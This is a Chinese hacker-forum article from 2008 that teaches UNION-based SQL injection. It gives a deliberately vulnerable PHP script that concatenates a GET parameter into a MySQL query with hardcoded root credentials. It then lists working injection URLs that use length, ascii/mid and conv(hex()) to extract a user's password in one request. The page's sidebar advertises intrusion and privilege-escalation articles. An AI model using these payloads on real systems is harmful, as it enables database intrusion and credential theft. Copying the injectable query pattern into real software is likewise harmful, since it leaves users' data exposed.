黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 黑客常识 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]Union查询注入技巧
        ★★★★

Union查询注入技巧

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-7-7 9:11:40
相信大家在注入中没有少用联合查询吧,呵呵。的确union查询是很方便的,不用一个字符接一个字符的猜了,大大提高了生厂力,然而又因为它的条件要求很 多时候并不能完全满足,每每那个时候就只有看着注入点,嚎吼一声,带着满脸悲愤开始使用最原始的方法。当然,条件不允许我们也没有办法,然而有些时候却是 自己的马虎导致高效率的联合查询方法不被采用,这可不符合“三代表”中的“代表最先进的生产力”啊。以下要说到的就可能是其中一种情况。^_^(相信很多 朋友都已经知道了,只是我在网上没有看到吧,这儿提出来且当自己消遣自己,扯淡为主)
mysql> select * from test;
+------+----------+----------+
| id     | username | password |
+------+----------+----------+
|    1 | admin      | admin888 |
+------+----------+----------+
1 row in set (0.03 sec)

test.php:

以下是引用片段:
<?
$id=$_GET[’id’];
$lnk = mysql_connect(’localhost’, ’root’, ’root’) or die (’Not connected : ’ . mysql_error());
mysql_select_db(’test’, $lnk) or die (’Can\’t use foo : ’ . mysql_error());
$query = "SELECT count(*) FROM test where id=$id";
$result = mysql_query($query);
while($result_row = mysql_fetch_row($result))
{
    if(($result_row[0])&&is_numeric($result_row[0])){
         echo $result_row[0];
      }
}
?>   

大家都知道在联合查询中不但前后列数要相等,类型也要一样。那么在这个注入点中,前一查询返回值类型应该是数字型,而我们要想用联合查询得到类型为text的password,应该怎么办呢?
其实我们可以先查出密码长度:
http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20length(password)%20from%20test%23
返回结果为8。OK,再来:
http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20ascii(mid(password,1,1))%20from%20test
返回的结果为password的第一位的ASCII码值,接下来将每一位都查出来就OK了。
然而其实我们有更方便的方法,嘿嘿,一次查询就够了。
我们提交:
http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20conv(hex(password),16,10)%20from%20test
返回7017854418938247224。转换为16进制为0x61646D696E383838,它就是“admin888”的十六制咯。哈,原理就不说了,相信大家都明白了。
测试中不用conv函数转换一下类型会不匹配,汗,不知嘛原因。
Ok!

文章录入:cainiaowang    责任编辑:xinlian 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886